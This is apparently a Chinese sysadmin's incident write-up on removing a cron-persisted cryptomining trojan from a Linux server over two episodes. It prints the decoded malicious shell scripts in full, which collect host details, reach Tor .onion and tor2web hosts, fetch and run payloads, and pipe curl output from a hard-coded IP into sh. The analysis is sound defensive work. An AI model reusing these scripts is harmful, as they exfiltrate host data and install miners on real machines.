2021年12月27日第一次处理
-
初步排查
收到CPU使用率100%的监控告警
登陆主机,发现一个陌生进程,进程名为SloH4auG,怀疑是木马。
ps -ef|grep SloH4auG 找到pid
cd /proc/7407/ && ll 查看进程的exec,当时没截图,发现执行程序的文件名是乱码,并且已经被删除。这种会清理痕迹的执行行为,基本可以确定该文件为木马。
-
紧急处理
确定服务器已经中毒,开始紧急处置,首先确定业务影响,确定可控之后使用防火墙封禁其网络出入口,特别是内网进出全部封禁,避免其继续污染内网其他主机。
因为这台主机没有主要业务,而且我准备抓到木马干了什么,所以就暂时保留公网进出口,因为很多木马发现自己无法与C&C服务器建立连接的话,会进行自杀并清理痕迹。
-
找木马样本
cd /var/spool/cron && ll,查看定时任务的修改时间,发现root用户的定时任务有修改。
cat root 发现一条定时任务
base64解码后得到木马代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | lYLmBkzzKln31w9xOAKuqXpObYJjY exec &> /dev/null export PATH=$PATH:$HOME: /bin : /sbin : /usr/bin : /usr/sbin : /usr/local/bin : /usr/local/sbin d=$( grep x:$( id -u): /etc/passwd | cut -d: -f6) c=$( echo "curl -4fsSLkA- -m200" ) t=$( echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad" ) sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi .doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux. fi dns.hostux.net dns.twnic.tw doh- fi .blahdns.com resolver-eu.lelux. fi doh.li dns.digitale-gesellschaft.ch) p=$( echo "dns-query?name=relay.tor2socks.in" ) q=${n[$((RANDOM%${ #n[@]}))]} s=$($c https: // $q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | tr ' ' '\n' | grep -Ev [.]0| sort -uR| tail -1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ; do echo exit > $i /i && chmod +x $i /i && cd $i && . /i && rm -f i && break ; done } u() { sockz f= /int .$( uname -m) x=./$( date |md5sum| cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$( whoami )_$( uname -m)_$( uname -n)_$(ip a| grep 'inet ' | awk { 'print $2' }|md5sum| awk { 'print $1' })_$( crontab -l| base64 -w0) $c -x socks5h: // $s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x; rm -f $x } for h in tor2web. in tor2web.it do if ! ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status ; then fexe;u $t.$h ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status || ( cd /tmp ;u $t.$h) ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status || ( cd /dev/shm ;u $t.$h) else break fi done |
从脚本内容看,核心是u()函数,收集了主机的信息后使用匿名代理下载了一个文件并执行,执行完成后删除了。
可以找个沙盒尝试下载该文件,当时我没有下载。直接就开始清理了。
-
清理木马
kill木马进程,删掉对应crontab记录,crontab有两个位置,都要清理,/var/spool/cron,/etc/cront.d/
清理木马文件,对应两个crontab记录,也是两个脚本文件,都要删除。
至此告一段落。
2022年2月10日第二次处理
-
木马再次出现
上次中木马之后,我清理了公网的无用端口,已经无法出公网,而这台主机重启后,该主机出现了恶意代码告警。
进程链: -[542] /usr/sbin/crond -n -[4136] /usr/sbin/crond -n -[4141] /bin/sh -c curl -fsS 139.59.150.7:443/rl|sh
登录主机,发现正在执行的sh进程,找到进程pid,进入/proc/$pid/,查看cmdline,发现进程wget了一个脚本,获取该脚本如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | XRANDOM exec &> /dev/null export PATH=$PATH:$HOME: /bin : /sbin : /usr/bin : /usr/sbin : /usr/local/bin : /usr/local/sbin function kurl() { read proto server path <<<$( echo ${1 //// }) DOC=/${path // // } HOST=${server // :*} PORT=${server // *:} [[ x "${HOST}" == x "${PORT}" ]] && PORT=80 exec 3<> /dev/tcp/ ${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 ( while read line; do [[ "$line" == $ '\r' ]] && break done && cat ) <&3 exec 3>&- } rm -f $HOME /ss curl -V || wget -q https: //github .com /moparisthebest/static-curl/releases/download/v7 .75.0 /curl-amd64 -O $HOME /curl ; chmod +x $HOME /curl curl -V || kurl http: //139 .59.150.7:443 /curl > $HOME /curl ; chmod +x $HOME /curl ss - v || kurl http: //139 .59.150.7:443 /ss > $HOME /ss ; chmod +x $HOME /ss ss - v || curl -s http: //139 .59.150.7:443 /ss -o $HOME /ss ; chmod +x $HOME /ss ps || curl -s http: //139 .59.150.7:443 /ps -o $HOME /ps ; chmod +x $HOME /ps d=$( grep x:$( id -u): /etc/passwd | cut -d: -f6) c=$( echo "curl -4fsSLkA- -m200" ) t=$( echo "rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid" ) sockz() { n=(doh. nl .ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh- fi .blahdns.com fi .doh.dns.snopyta.org resolver-eu.lelux. fi doh.li dns.digitale-gesellschaft.ch) p=$( echo "dns-query?name=relay.tor2socks.in" ) s=$($c https: // ${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | tr ' ' '\n' | grep -Ev [.]0| sort -uR| head -n 1) } fexe() { for i in . $HOME /usr/bin $d /tmp /var/tmp ; do echo exit > $i /i && chmod +x $i /i && cd $i && . /i && rm -f i && break ; done } u() { sockz f= /l/rd .$( uname -m) x=./$( date |md5sum| cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$( whoami )_$( uname -m)_$( uname -n)_$(ip a| grep 'inet ' | awk { 'print $2' }|md5sum| awk { 'print $1' })_$( crontab -l| base64 -w0) $c -x socks5h: // $s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x; rm -f $x } for h in tor2web. in tor2web.it do if ! ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status ; then fexe;u $t.$h ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status || ( cd /tmp ;u $t.$h) ls /proc/ $( head -n 1 /tmp/ .X11-unix /01 ) /status || ( cd /dev/shm ;u $t.$h) else break fi done rm -f /etc/cron .d /systemdd |
该脚本与上次发现的一样,也是收集主机信息并通过匿名代理下载木马文件,这次我获取到了该文件,该文件是一个二进制文件,执行后就会执行后续的挖矿程序。即上次处理时发现的情况。
从这次情况看,上次清理时没有处理开机自动启动的问题,这次抓进程时,从cmdline里看到,应该是开机启动时执行了/usr/sbin/crond -n命令拉起了木马,然后删除了/usr/sbin/crond文件。这是把自己伪装成crond服务防止被识别。
-
遗留问题
但是开机启动的配置我还没有找到,因为linux启动时可以嵌入代码的地方太多了,准备把这台机器应用迁移后释放掉了。